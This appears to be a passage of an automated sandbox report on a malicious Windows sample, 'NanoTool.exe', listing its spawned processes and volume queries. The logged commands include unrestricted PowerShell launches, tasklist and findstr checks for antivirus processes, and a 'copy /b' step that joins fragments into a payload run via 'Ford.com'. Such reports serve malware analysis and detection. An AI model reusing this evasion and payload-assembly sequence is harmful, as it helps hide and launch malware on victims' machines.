      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1816 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe""Jump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcpJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe "C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe"
      Source: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Enters Enters.cmd && Enters.cmd
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 254268
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "DarkPrisonIncRangeBathsPresentedBuckSurely" Photograph
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Screen + ..\Laugh + ..\Ceo + ..\Nc + ..\Anticipated + ..\Uh + ..\Negative p
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\254268\Ford.com Ford.com p
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "c:\users\user\appdata\local\temp\2pwuvufaxoainaay42by6gnejek\nanotool.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\dkqjnjumskmeurhg" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1828 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "c:\users\user\appdata\local\temp\2pwuvufaxoainaay42by6gnejek\nanotool.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\dkqjnjumskmeurhg" --mojo-platform-channel-handle=2112 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "c:\users\user\appdata\local\temp\2pwuvufaxoainaay42by6gnejek\nanotool.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="c:\users\user\appdata\roaming\dkqjnjumskmeurhg" --gpu-preferences=uaaaaaaaaadoaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaacqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1816 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "c:\users\user\appdata\local\temp\2pwuvufaxoainaay42by6gnejek\nanotool.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\dkqjnjumskmeurhg" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1828 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "c:\users\user\appdata\local\temp\2pwuvufaxoainaay42by6gnejek\nanotool.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\dkqjnjumskmeurhg" --mojo-platform-channel-handle=2112 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "c:\users\user\appdata\local\temp\2pwuvufaxoainaay42by6gnejek\nanotool.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="c:\users\user\appdata\roaming\dkqjnjumskmeurhg" --gpu-preferences=uaaaaaaaaadoaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaacqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1816 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2Jump to behavior
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF74821D000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF74821D000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: ..\..\electron\shell\browser\ui\views\electron_views_delegate_win.ccGetAppbarAutohideEdgesShell_TrayWnd
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\ VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Users VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Users\user VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Users\user\AppData\Local\Temp VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Users\user\AppData\Local\Temp\5afCq0M8FZF04eQNd5 VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\ VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Users\user\AppData\Local\Temp\5afCq0M8FZF04eQNd5 VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
